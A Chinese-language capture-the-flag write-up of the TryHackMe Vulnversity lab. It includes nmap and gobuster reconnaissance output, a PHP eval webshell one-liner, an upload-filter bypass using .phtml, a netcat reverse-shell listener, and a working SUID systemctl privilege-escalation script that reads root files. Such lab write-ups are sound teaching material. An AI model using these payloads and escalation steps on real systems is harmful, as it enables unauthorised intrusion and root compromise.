抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Qingwan

在时间的维度上,一切问题都是有解的。

TryHackMe-vulnversity渗透靶场wp

靶场链接:https://tryhackme.com/room/vulnversity

用nmap进行勘察

使用nmap进行信息收集
我们通过 openvpn 进行连接之后,我们就开始进行信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ nmap -sV -Pn 10.10.14.85
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-26 13:29 CST
Nmap scan report for 10.10.14.85
Host is up (0.36s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.34 second


通过我们扫描出来的结果和题目所给出的nmap的用法我们除了问操作系统的那个问题就都解决了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
nmap -A 10.10.14.85
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-26 13:33 CST
Nmap scan report for 10.10.14.85
Host is up (0.39s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5a:4f:fc:b8:c8:76:1c:b5:85:1c:ac:b2:86:41:1c:5a (RSA)
| 256 ac:9d:ec:44:61:0c:28:85:00:88:e9:68:e9:d0:cb:3d (ECDSA)
|_ 256 30:50:cb:70:5a:86:57:22:cb:52:d9:36:34:dc:a5:58 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.12
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Vuln University
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: vulnuniversity
| NetBIOS computer name: VULNUNIVERSITY\x00
| Domain name: \x00
| FQDN: vulnuniversity
|_ System time: 2024-02-26T00:35:12-05:00
| smb2-time:
| date: 2024-02-26T05:35:11
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: 1h40m00s, deviation: 2h53m14s, median: 0s
|_nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.08 seconds

可以得出系统为Ubuntu

利用Gobuster进行信息收集

这是一个目录文件和DNS爆破工具

我们先在kali下下载这个工具

1
sudo apt-get install gobuster

然后输入命令进行扫描,这里我们的字典就用kali下自带的字典

1
gobuster dir -u http://10.10.14.85:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

访问一下/internal页面

发现存在文件上传点,记得是http而不是https

利用文件上传漏洞上传php木马反弹shell

这里有apache服务,而一般木马都是php文件
所以我们先上传一个php木马试一下,木马名为1.php木马内容为

1
<?php @eval($_POST['attack']); ?> 


发现无法上传,猜测后缀被过滤,我们试一下其他的常用的可以被解析的php文件的后缀,用 Burpsuite 爆破一下,上传然后进行抓包,对后缀名进行爆破

爆破字典处写入常见的php文件后缀名

发现phtml后缀文件成功上传

知道什么后缀的木马文件可以上传之后,我们就可以上传一个可以反弹shell的php木马
我们修改木马中的两个部分,将ip换成我们自己的,端口修改为我们自己想要的端口,记得木马文件名要保存为 .phtml 后缀

然后开启监听

1
nc -lvp 1234

上传木马,上传成功之后,访问一下,一般文件上传的目录都为uploads

成功反弹,得到flag

1
cat /home/bill/user.txt

8bd7xxxxxxxxxxxxxxxxxxxxedb
而管理web网络服务的用户就为home的子目录下的用户,即bill

suid 提权

1
2
$ cd /root
/bin/sh: 19: cd: can't cd to root

可以看到现在我们没有访问 root 文件夹的权限
所以我们要进行提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ whoami
www-data
$ ls -ln
total 88
drwxr-xr-x 2 0 0 4096 Jul 31 2019 bin
drwxr-xr-x 3 0 0 4096 Jul 31 2019 boot
drwxr-xr-x 17 0 0 3700 Feb 26 00:23 dev
drwxr-xr-x 98 0 0 4096 Aug 1 2019 etc
drwxr-xr-x 3 0 0 4096 Jul 31 2019 home
lrwxrwxrwx 1 0 0 33 Jul 31 2019 initrd.img -> boot/initrd.img-4.4.0-142-generic
drwxr-xr-x 22 0 0 4096 Jul 31 2019 lib
drwxr-xr-x 2 0 0 4096 Jul 31 2019 lib64
drwx------ 2 0 0 16384 Jul 31 2019 lost+found
drwxr-xr-x 3 0 0 4096 Jul 31 2019 media
drwxr-xr-x 2 0 0 4096 Feb 26 2019 mnt
drwxr-xr-x 2 0 0 4096 Feb 26 2019 opt
dr-xr-xr-x 135 0 0 0 Feb 26 00:23 proc
drwx------ 4 0 0 4096 Jul 31 2019 root
drwxr-xr-x 28 0 0 980 Feb 26 00:25 run
drwxr-xr-x 2 0 0 12288 Jul 31 2019 sbin
drwxr-xr-x 2 0 0 4096 Jul 31 2019 snap
drwxr-xr-x 3 0 0 4096 Jul 31 2019 srv
dr-xr-xr-x 13 0 0 0 Feb 26 00:23 sys
drwxrwxrwt 8 0 0 4096 Feb 26 01:39 tmp
drwxr-xr-x 10 0 0 4096 Jul 31 2019 usr
drwxr-xr-x 14 0 0 4096 Jul 31 2019 var
lrwxrwxrwx 1 0 0 30 Jul 31 2019 vmlinuz -> boot/vmlinuz-4.4.0-142-generic

可以看到,我们当前的用户为 www-data,所有用户里面,权限最高的为 root 用户
这里有一个知识点,为 suid ,即 set owner userId upon execution,可以简单的理解为 set uid

Linux 中,SUID(执行时设置所有者 userId)是赋予文件的一种特定类型的文件权限。 SUID 向用户授予临时权限,以在文件所有者(而不是运行它的用户)的许可下运行程序/文件。
例如,用于更改密码的二进制文件设置了 SUID 位 (/usr/bin/passwd)。这是因为要更改您的密码;它将需要写入您无权访问的文件,而 root 可以;因此它具有 root 权限来进行正确的更改。
比如:

那这里我们就要进行 suid 提权来访问 root文件
可以使用这下面的任意一个来进行查询,第二个更加详细灵活,第一个更加简约明了

  1. find / -type f -perm /4000 2>/dev/null:
    • 使用find命令进行搜索。
    • -type f指定只搜索文件。
    • -perm /4000指定了权限模式,/4000表示匹配任何包含SUID权限的文件。
    • 2>/dev/null将错误输出重定向到空设备,以避免输出不必要的警告信息。
  2. find / -user root -perm -4000 -exec ls -ldb {} \;:
    • 同样使用find命令进行搜索。
    • -user root指定只搜索属于用户”root”的文件。
    • -perm -4000指定了权限模式,-4000表示匹配具有SUID权限的文件。
    • -exec ls -ldb {} \;执行一个外部命令ls -ldb来显示匹配文件的详细信息。
      1
      2
      find / -type f -perm /4000 2>/dev/null
      find / -user root -perm -4000 -exec ls -ldb {} \;
      看到这里具有root权限的文件中,并没有我们常见的那几个命令
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      $ find / -type f -perm /4000 2>/dev/null
      /usr/bin/newuidmap
      /usr/bin/chfn
      /usr/bin/newgidmap
      /usr/bin/sudo
      /usr/bin/chsh
      /usr/bin/passwd
      /usr/bin/pkexec
      /usr/bin/newgrp
      /usr/bin/gpasswd
      /usr/bin/at
      /usr/lib/snapd/snap-confine
      /usr/lib/policykit-1/polkit-agent-helper-1
      /usr/lib/openssh/ssh-keysign
      /usr/lib/eject/dmcrypt-get-device
      /usr/lib/squid/pinger
      /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
      /bin/su
      /bin/ntfs-3g
      /bin/mount
      /bin/ping6
      /bin/umount
      /bin/systemctl
      /bin/ping
      /bin/fusermount
      /sbin/mount.cifs
      但是我们注意到有一个特殊的文件 /bin/systemctl
      /bin/systemctl是一个系统管理工具,它用于控制 systemd 系统和服务管理器。systemd 是一种初始化系统和服务管理器。/bin/systemctl命令可以通过启动、停止、重启、查询和管理系统服务。在 systemctl 工具上启用了 setuid 权限,那么任何拥有该工具执行权限的用户都可能以该工具设置的特权身份(比如 root 用户)执行系统管理任务。
      下一步我们就开始提权,主要的思路就是创建一个临时的 systemd 服务配置文件,链接并启动该服务,并将 root 用户的 flag 写入一个临时文件中。
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      #创建一个名为xxx的环境变量,调用mktemp创建一个临时的systemd服务配置文件
      xxx=$(mktemp).service

      #将配置内容写入环境变量,服务执行后执行命令,然后通过root权限去输出flag到指定文件。
      echo '[Service]
      ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
      [Install]
      WantedBy=multi-user.target' > $xxx

      #链接服务并启动
      /bin/systemctl link $xxx

      #启用一个单元实例--服务单元文件得以运行
      /bin/systemctl enable --now $xxx

      #获得root flag
      cat /tmp/output
      a58ffxxxxxxxxxxxxxxxxfd5
  3. 使用 mktemp 命令生成一个随机命名的临时文件,并将其命名为 xxx.service。这个文件名会被保存在环境变量 xxx 中,以便后续操作使用。由于生成的是一个 systemd 服务配置文件,因此需要以 .service 作为文件扩展名。
  4. 使用 echo 命令将服务配置内容写入环境变量 xxx 中。具体来说,这个服务配置文件指定了服务的启动命令为 cat /root/root.txt > /tmp/output,这条命令将根目录下的 root.txt 文件内容输出到 /tmp/output 文件中。服务安装后会启用 multi-user.target 目标单元。
  5. 使用 /bin/systemctl link 命令将服务配置文件链接到系统服务管理器中,以便可以通过服务管理器对服务进行管理。
  6. 使用 /bin/systemctl enable --now 命令启用服务,使其在系统启动时自动启动,并立即启动服务实例。
  7. 使用 cat 命令读取 /tmp/output 文件中的内容,其中存储了 root 用户的 flag。

评论